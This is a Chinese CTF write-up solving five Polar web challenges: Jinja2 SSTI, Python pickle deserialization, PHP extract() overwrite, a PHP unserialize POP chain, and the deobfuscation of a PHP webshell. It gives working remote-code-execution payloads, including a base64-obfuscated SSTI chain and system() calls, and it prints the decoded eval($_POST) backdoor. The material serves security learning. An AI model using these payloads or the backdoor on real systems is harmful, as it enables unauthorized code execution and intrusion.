polar中等web部分题目

一.ssti

开头提示get方式传参name

加上是ssti的问题(简而言之就是说要用这种方式来得到对象的内部属性)

SSTI(服务器端模板注入)的利用过程就像是在目标语言的环境里"寻宝",核心思路是利用模板语法去访问当前对象,再通过对象的内部属性(如__class__、basesmrosubclasses)进行"属性链式搜索",最终找到可以执行系统命令、读取文件的危险函数或类。

1.输入{{7*7}}挨着尝试不同的模板

2.然后他可能是Twig (PHP)、Jinja2 (Python)、ERB (Ruby)

3.传参{{7*'7'}} → 7777777

此时能对是jinja2的确定

复制代码
# 模板1:最稳定(通过eval)
{{a.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}

# 模板2:最直接(有os的情况下)
{{a.__init__.__globals__['os'].popen('cat /f*').read()}}

# 模板3:最通用(通过__import__)
{{a.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /f*').read()}}

# 模板4:最隐蔽(编码版)
{{(a.__init__.__globals__.__builtins__|attr('ZXZhbA=='|decode('base64')))(('X19pbXBvcnRfXygib3MiKS5wb3BlbigiY2F0IC9mKiIpLnJlYWQoKQ=='|decode('base64')))}}

然后构造最后的payload:

{{a.init.globals'__builtins__''eval'('import("os").popen("cat /f*").read()')}}

4.得到最后的flag{74da457f9884bef24f271e377334399a}

二.unpickle

下载附件得到一个py文件

import pickle

import base64

from flask import Flask, request

app = Flask(name)

@app.route("/")

def index():

try:

user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

return user

except:

username = "Guest"

return "Hello %s" % username

if name == "main":

app.run(host="0.0.0.0", port=8080)

此时的页面弹出来的是Guest此时是进入到了except部分

重点就是 user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

return user

user = base64.b64decode(request.cookies.get('user'))这一部分是要得到user.cookie的base64编码

user = pickle.loads(user)这一部分是说要把这个编码后的字符串变成user对象,成为了一个反序列化的问题

然后__reduce__ 是Python pickle模块的特殊方法:

当对象被反序列化时自动调用

必须返回一个元组 (函数, (参数1, 参数2, ...))

反序列化时会自动执行这个函数

原本的是将user的cookie来base64处理然后反序列化变成对象,解决方法就是将对象变成字符串来解决,所以最后这个字符串会触发这个反序列的代码

最终的payload是创建__reduce__方法然后引入恶意对象最后base64编码引入这个字符串

复制代码
import pickle
import base64
class exp(object):
    def __reduce__(self):#反序列化时的自动执行方法
        return eval, ("open('/flag','r').read()",)
e = exp()
exp = pickle.dumps(e)  # 字节流
a = base64.b64encode(exp).decode()#将命令行转成base64编码
print(a)

最后得到gASVNAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwYb3BlbignL2ZsYWcnLCdyJykucmVhZCgplIWUUpQu

最后得到flag:flag{1cd20c1dbbed0fc7ab481b44006d469f}

三.BlackMagic

复制代码
<!--
    extract($_REQUEST);  // 将$_REQUEST中的键值对提取为变量
    $strCharList = "\r\n\0\x0B ";  // 包含回车、换行、空字符、垂直制表符、空格
    $strFlag = "\r 	xxxxx...xxxxx	 \n";  // 包含特殊字符的flag字符串
    
    if(isset($strTmp))  // 检查是否有$strTmp变量
    { 
        $strContent = trim($strFlag, $strCharList);  // 去除两端的特定字符
        if($strTmp == $strContent)  // 比较是否相等
        { 
            echo "flag{xxx...xxx}"; 

代码审计:

extract() 函数详解

extract() 是PHP中一个非常危险的函数,经常导致变量覆盖漏洞。作用是将数组中的键值对导入到当前的符号表(变成PHP变量)

比如:

<?php

$data = array(

"username" => "admin",

"password" => "123456",

"is_admin" => true

);

extract($data);

// 现在可以直接使用这些变量

echo $username; // 输出: admin

echo $password; // 输出: 123456

echo $is_admin; // 输出: 1 (true)

?>

在本地里面输入

<?php

$strCharList = "\r\n\0\x0B ";

$strFlag = "\r xxxxx...xxxxx \n";

strContent = trim(strFlag, $strCharList);

echo urlencode($strContent);

然后弱比较传参试试?strTmp=xxxxx...xxxxx%09

得到flag{ab8aff2d0104e4f883a57880b260b761}

四.反序列化

<?php

/*

PolarD&N CTF

*/

highlight_file(FILE);

class example

{

public $handle;

function __destruct(){

$this->funnnn();

}

function funnnn(){

$this->handle->close();

}

}

class process{

public $pid;

function close(){

eval($this->pid);

}

}

if(isset($_GET'data')){

user_data=unserialize(_GET'data');

}

?>

跟上面的py反序列的解决方式差不多

整个链子就是这样example.__destruct -> example.funnnn -> process.close

(用户输入 → unserialize() → 创建example对象 → 脚本结束 →

__destruct()调用 → funnnn()调用 → handle->close() →

如果handle是process对象 → 执行eval($pid) → 任意代码执行)

然后构造payload来触发这个反序列代码(我们需要创建一个恶意对象,然后把它序列化成字符串,发送给服务器,服务器反序列化这个字符串时就会创建出我们的恶意对象,从而触发漏洞!

首先类是example(7个字符),然后根据这个pop链的顺序来,然后有一个属性,属性内容是handle又有新的类process(有一个属性),对象是pid然后利用eval函数实现命令执行

?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}

O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('tac /var/www/html/flag.php');";}}

得到flag:flag{3c8000f924a1ed58a12a91759ecab3f0}

五.找找shell

下载附件

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");

我们直接把这句话url解码n1zb/m61\vt0i28-pxuqy*6lrkdg9_ehcsw o4+f37j

然后把全部都解码,提取出base64部分:

复制代码
JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=

这是base64编码,解码后:

复制代码
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

然后想要得到关键的不重复的代码,需要将代码分段(substr)然后替换里面所有重复的代码(strtr)

利用这个思路用ai最后输出这个shell代码得到<?php @eval($_POST'usam'); ?>后门的密码是usam

然后后门文件是shell.php(dir扫出来的)

最后连接蚁剑就行查看flag

flag{2591c98b70119fe624898b1e424b5e91}

相关推荐
风骏时光牛马5 小时前
6个高频实用技术脚本案例,覆盖运维与办公自动化(可直接复用)
前端
爱吃红星柚5 小时前
【学习】Elpis 抽离与发布 npm 包
前端·前端框架·node.js
PedroQue996 小时前
0.5.0重磅发布:动画插件+H5体验全面优化
前端·uni-app
金虹桥程序员6 小时前
【动画】 📚 CSS 动画与 GPU 合成层优化全链路指南
前端·面试
程序员老赵6 小时前
Docker 部署填鸭表单完整教程:搭建私有化问卷与表单收集平台
前端·docker·开源
无限压榨切图仔6 小时前
向量库能搜到内容,为什么还不算学会 RAG
前端·agent
mmsx6 小时前
MapLibre 实战 11|用户说"我的地块丢了":一个 sealed class 图层模型,和四个让我重构三版的坑
android·前端·开源
xqchen6 小时前
代码差异可视化方案选型:diff2html 实战指南
前端
名字还没想好☜6 小时前
用 Zustand 做 React 全局状态管理:告别 Context 重渲染,3 个实战模式与持久化
前端
IMPYLH6 小时前
HTML 的 <section> 元素
前端·html